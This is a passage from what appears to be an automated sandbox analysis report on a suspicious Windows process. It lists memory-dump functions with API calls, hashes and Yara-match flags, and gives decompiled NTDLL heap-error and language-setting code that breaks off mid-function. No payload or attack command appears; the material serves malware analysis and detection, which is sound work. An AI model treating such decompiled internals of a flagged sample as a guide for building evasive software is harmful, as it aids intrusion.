Opcode Fuzzy Hash: 9bb04778df595cc71818b85c56bd8a18a0bb73dc2c0ed231944e4f7e861e5783
Instruction Fuzzy Hash: 2690027925300006D28075D9940860A0055B7D1642F91D829A0009998CC955886963A1

Uniqueness

Uniqueness Score: -1.00%

Function 015B97A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B97AA

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 203b03aac361a2f9a49f5bf7623d74d45cd044acc9693dbc4d4462412ed0047c
Instruction ID: ebe1d8ee83578dd39182c773c3ebcedf2d4782d60beebce96b9ec870078ebdbc
Opcode Fuzzy Hash: 203b03aac361a2f9a49f5bf7623d74d45cd044acc9693dbc4d4462412ed0047c
Instruction Fuzzy Hash: CD90027134100007D24075D994186064055F7E1741F51D425E0408994CD955885662A2

Uniqueness

Uniqueness Score: -1.00%

Function 015B9660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B966A

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bb3ae8d9c912e939bfae68d869b4004baf79e9afb1c306a46a85a344b71ea2c4
Instruction ID: 7409b6e5d453f267de5f1f7934683ccbb82affa2dd85e990ada2ac732c6cfa2d
Opcode Fuzzy Hash: bb3ae8d9c912e939bfae68d869b4004baf79e9afb1c306a46a85a344b71ea2c4
Instruction Fuzzy Hash: 7F90027124100806D28075D9840464A0055B7D1741F91C429A0019A94DCA558A5977E1

Uniqueness

Uniqueness Score: -1.00%

Function 015B96E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B96EA

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 301a9c8209b9e928d52ce40c1135ea949d5bba952becf3771ba357ec9a670313
Instruction ID: b21b5b973cf2fb56c96e07204273bf8a84e8acc524b4fbdf52e7d4318b52b8db
Opcode Fuzzy Hash: 301a9c8209b9e928d52ce40c1135ea949d5bba952becf3771ba357ec9a670313
Instruction Fuzzy Hash: 4D90027124108806D21065D9C40474A0055B7D0741F55C825A4418A98DC6D5889171A1

Uniqueness

Uniqueness Score: -1.00%

Function 004088A0, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 283bf2c7f344e97b91bcc60d13a5b0e411dcd70c841c71c3deed8c9853ae10d6
Instruction ID: 5568bf364e599ab98db8d6cec98c55b42aa716c8f34da205b899e6f8c2a7a87e
Opcode Fuzzy Hash: 283bf2c7f344e97b91bcc60d13a5b0e411dcd70c841c71c3deed8c9853ae10d6
Instruction Fuzzy Hash: EF213CB2C4420857CB20E6649D42BFF73BC9B50304F44057FE989A3181F638BB498BA6

Uniqueness

Uniqueness Score: -1.00%

Function 004184BB, Relevance: 1.6, APIs: 1, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00408AE3,?,?,00408AE3,00000060,00000000,00000000,?,?,00408AE3,?,00000000), ref: 004184ED

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 6d336a97fb9e495fe4edea66a78204d606ed6eea0257ec4c1b17524865c8123e
Instruction ID: 6310a3fbe7f1cf5e83b617a77abc20b356db0ae2ed33c5bbb97ed3392909d018
Opcode Fuzzy Hash: 6d336a97fb9e495fe4edea66a78204d606ed6eea0257ec4c1b17524865c8123e
Instruction Fuzzy Hash: 7E11D7B2200108BBDB14DF99DC85EEB77A9AF8C354F158259FA0D97241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00407260, Relevance: 1.6, APIs: 1, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072BA

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 205fda5ff18a58da29b4ee771503f4b4c431d8485573b34ca04b666bda837a67
Instruction ID: ed9c0dd32f68776d22a62b6ccf8dda9c2c93357863a303a75fe51d199eec68b3
Opcode Fuzzy Hash: 205fda5ff18a58da29b4ee771503f4b4c431d8485573b34ca04b666bda837a67
Instruction Fuzzy Hash: DE018431A8032876E720A6959C03FFE776C5B40B55F15416EFF04BA1C2E6A87D0646EA

Uniqueness

Uniqueness Score: -1.00%

Function 00418614, Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CF92,0040CF92,00000041,00000000,?,00408B55), ref: 00418650

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: be053de89fb860856bde447e1e5dc9cfadadb8eb6fb3437d77910376c1ff2623
Instruction ID: 780b4b0716b93cf1856b5abb3e51381b072bed35a1732b1317d5dfb1835495c0
Opcode Fuzzy Hash: be053de89fb860856bde447e1e5dc9cfadadb8eb6fb3437d77910376c1ff2623
Instruction Fuzzy Hash: D9E06DB16002086BDB10DF55DC85FE73BA9DF85310F048059FA1867282C935E8548BE4

Uniqueness

Uniqueness Score: -1.00%

Function 004184C0, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00408AE3,?,?,00408AE3,00000060,00000000,00000000,?,?,00408AE3,?,00000000), ref: 004184ED

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: bd69bb0d8e56be58ea846d441575552e1355d89f45fa104c15060bc9e05e818a
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: EDE01AB12002046BDB14DF59DC45EE777ACAF88750F014559BA0857241CA30E9108AF4

Uniqueness

Uniqueness Score: -1.00%

Function 00418480, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00413506,?,00413C7F,00413C7F,?,00413506,?,?,?,?,?,00000000,00408AE3,?), ref: 004184AD

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 95874ba5a5537b3d16e5bdcad340c4ef7a657c48911e570d945e23b5f838c0ed
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 7BE012B1200208ABDB14EF99DC41EE777ACAF88654F118559BA085B282CA30F9108AF4

Uniqueness

Uniqueness Score: -1.00%

Function 00418620, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CF92,0040CF92,00000041,00000000,?,00408B55), ref: 00418650

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: 1821f594b7a2fedb3326d3670d224aab122327744fc2f581a2e4424e2d02315d
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 2AE01AB12002086BDB10DF49DC85EE737ADAF89650F018159BA0857241C934E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 00418500, Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418528

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: 9f62bdc44f65d7d9a2483e28fb075f3ff631dd5cfbab79109080827007e6cc43
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: 62D012716003147BD620DF99DC85FD7779CDF49750F018069BA1C5B241C931BA0086E5

Uniqueness

Uniqueness Score: -1.00%

Function 004185C6, Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CF92,0040CF92,00000041,00000000,?,00408B55), ref: 00418650

Memory Dump Source

Source File: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: cae5259fb7ecb12d8945d5dfaafc26193dbb65977662e3c198a15be24be2844d
Instruction ID: 7b8df893c6ee7c39db582369b7ae5467aa446aa29916bed1ae2348e169009ab9
Opcode Fuzzy Hash: cae5259fb7ecb12d8945d5dfaafc26193dbb65977662e3c198a15be24be2844d
Instruction Fuzzy Hash: 24C012B12040046BA610AA4CAD449BAA36DEBD8228360881BF88982102CA21889286A8

Uniqueness

Uniqueness Score: -1.00%

Function 015B967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015B9694

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 50e1d0d72d57f090f5ffb2430bbc4a299b1b20ea19aa26d14b81603c1aead84f
Instruction ID: 9d1a788f201ec396b2aa60632ee351a31de6185b9693e954ae26d76a35c13407
Opcode Fuzzy Hash: 50e1d0d72d57f090f5ffb2430bbc4a299b1b20ea19aa26d14b81603c1aead84f
Instruction Fuzzy Hash: 12B09BB19414C5C9D711DBE4464876B795077D0745F26C466D2024A81B4778C091F5F5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0162B260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

The resource is owned shared by %d threads, xrefs: 0162B37E
an invalid address, %p, xrefs: 0162B4CF
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 0162B39B
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 0162B47D
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0162B3D6
The instruction at %p tried to %s , xrefs: 0162B4B6
*** enter .exr %p for the exception record, xrefs: 0162B4F1
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 0162B53F
The instruction at %p referenced memory at %p., xrefs: 0162B432
*** Resource timeout (%p) in %ws:%s, xrefs: 0162B352
*** A stack buffer overrun occurred in %ws:%s, xrefs: 0162B2F3
The resource is owned exclusively by thread %p, xrefs: 0162B374
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0162B38F
This failed because of error %Ix., xrefs: 0162B446
*** Inpage error in %ws:%s, xrefs: 0162B418
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 0162B305
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 0162B484
*** then kb to get the faulting stack, xrefs: 0162B51C
The critical section is owned by thread %p., xrefs: 0162B3B9
write to, xrefs: 0162B4A6
read from, xrefs: 0162B4AD, 0162B4B2
*** enter .cxr %p for the context, xrefs: 0162B50D
a NULL pointer, xrefs: 0162B4E0
Go determine why that thread has not released the critical section., xrefs: 0162B3C5
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 0162B2DC
*** An Access Violation occurred in %ws:%s, xrefs: 0162B48F
<unknown>, xrefs: 0162B27E, 0162B2D1, 0162B350, 0162B399, 0162B417, 0162B48E
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 0162B314
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 0162B323
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 0162B476

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: 42768b1435d61b0391cde8bff449e0159e4e1de08ad55276b0969e931ad43637
Instruction ID: a01d1d1d02aab6f0f571b0e1355f8e62052944ac8d2a347bcb40544cacb70d9b
Opcode Fuzzy Hash: 42768b1435d61b0391cde8bff449e0159e4e1de08ad55276b0969e931ad43637
Instruction Fuzzy Hash: E9810235A01620FFDB26AE4ACC89D7B3B3AEF56A51F044048F5052F256D3618852EFB2

Uniqueness

Uniqueness Score: -1.00%

Function 01631C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E01631C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x15548a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0157B150();
				} else {
					E0157B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x166589c);
				E0157B150("Heap error detected at %p (heap handle %p)\n",  *0x16658a0);
				_t27 =  *0x1665898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M01631E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0157B150();
				} else {
					E0157B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E0157B150("Error code: %d - %s\n",  *0x1665898);
				_t113 =  *0x16658a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0157B150();
					} else {
						E0157B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0157B150("Parameter1: %p\n",  *0x16658a4);
				}
				_t115 =  *0x16658a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0157B150();
					} else {
						E0157B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0157B150("Parameter2: %p\n",  *0x16658a8);
				}
				_t117 =  *0x16658ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0157B150();
					} else {
						E0157B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0157B150("Parameter3: %p\n",  *0x16658ac);
				}
				_t119 =  *0x16658b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0157B150();
					} else {
						E0157B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x16658b4);
					E0157B150("Last known valid blocks: before - %p, after - %p\n",  *0x16658b0);
				} else {
					_t120 =  *0x16658b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0157B150();
				} else {
					E0157B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E0157B150("Stack trace available at %p\n", 0x16658c0);
			}

0x01631c10
0x01631c16
0x01631c1e
0x01631c3d
0x01631c3e
0x01631c20
0x01631c35
0x01631c3a
0x01631c44
0x01631c55
0x01631c5a
0x01631c65
0x01631c67
0x00000000
0x01631c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x01631c67
0x01631cdc
0x01631ce5
0x01631d04
0x01631d05
0x01631ce7
0x01631cfc
0x01631d01
0x01631d0b
0x01631d17
0x01631d1f
0x01631d25
0x01631d30
0x01631d4f
0x01631d50
0x01631d32
0x01631d47
0x01631d4c
0x01631d61
0x01631d67
0x01631d68
0x01631d6e
0x01631d79
0x01631d98
0x01631d99
0x01631d7b
0x01631d90
0x01631d95
0x01631daa
0x01631db0
0x01631db1
0x01631db7
0x01631dc2
0x01631de1
0x01631de2
0x01631dc4
0x01631dd9
0x01631dde
0x01631df3
0x01631df9
0x01631dfa
0x01631e00
0x01631e0a
0x01631e13
0x01631e32
0x01631e33
0x01631e15
0x01631e2a
0x01631e2f
0x01631e39
0x01631e4a
0x01631e02
0x01631e02
0x01631e08
0x00000000
0x00000000
0x01631e08
0x01631e5b
0x01631e7a
0x01631e7b
0x01631e5d
0x01631e72
0x01631e77
0x01631e95

Strings

heap_failure_invalid_argument, xrefs: 01631CAD
Parameter3: %p, xrefs: 01631DEE
heap_failure_buffer_underrun, xrefs: 01631C9F
heap_failure_usage_after_free, xrefs: 01631CBB
heap_failure_lfh_bitmap_mismatch, xrefs: 01631CD7
heap_failure_buffer_overrun, xrefs: 01631C98
heap_failure_internal, xrefs: 01631C6E
Error code: %d - %s, xrefs: 01631D12
Last known valid blocks: before - %p, after - %p, xrefs: 01631E45
Stack trace available at %p, xrefs: 01631E86
heap_failure_virtual_block_corruption, xrefs: 01631C91
HEAP: , xrefs: 01631C16, 01631C3D, 01631D04, 01631D4F, 01631D98, 01631DE1, 01631E32, 01631E7A
Heap error detected at %p (heap handle %p), xrefs: 01631C50
heap_failure_multiple_entries_corruption, xrefs: 01631C8A
heap_failure_block_not_busy, xrefs: 01631CA6
heap_failure_cross_heap_operation, xrefs: 01631CC2
heap_failure_invalid_allocation_type, xrefs: 01631CB4
heap_failure_unknown, xrefs: 01631C75
Parameter2: %p, xrefs: 01631DA5
heap_failure_entry_corruption, xrefs: 01631C83
HEAP[%wZ]: , xrefs: 01631C30, 01631CF7, 01631D42, 01631D8B, 01631DD4, 01631E25, 01631E6D
heap_failure_generic, xrefs: 01631C7C
heap_failure_freelists_corruption, xrefs: 01631CC9
heap_failure_listentry_corruption, xrefs: 01631CD0
Parameter1: %p, xrefs: 01631D5C

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: 5fd2209d1f4d184db4abeb2ba43201140efb650c13cf320d5235f6a8ead8158f
Instruction ID: 962130ab8361e67cda2cece292766f154db017187d86c9cfbb241a2fd7cdaf05
Opcode Fuzzy Hash: 5fd2209d1f4d184db4abeb2ba43201140efb650c13cf320d5235f6a8ead8158f
Instruction Fuzzy Hash: 3761F93B551196DFD311EB4AFC87D2473E8FF86930B09802EF80A5F711E6649D428B5A

Uniqueness

Uniqueness Score: -1.00%

Function 01583D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E01583D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E01581B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L015977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E01581B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L015977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E01581B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E01581B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E01581B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L015977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L015977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L01594620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E015BF3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E015C1370(_t276, 0x1554e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E015BBB40(0,  &_v68, _t170);
									if(L015843C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L015977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L015977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E015BBB40(_t257,  &_v68, _t243);
								if(L015843C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E015C1370(_t278, 0x1554e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L01594620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E015BF3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E015C1370(_v16, 0x1554e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E015BBB40(_t262,  &_v68, _t244);
								if(L015843C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E015C1370(_t282, 0x1554e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E015BBB40(_t262,  &_v68, _t201);
							if(L015843C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L015977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L015977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L01594620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E015BF3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
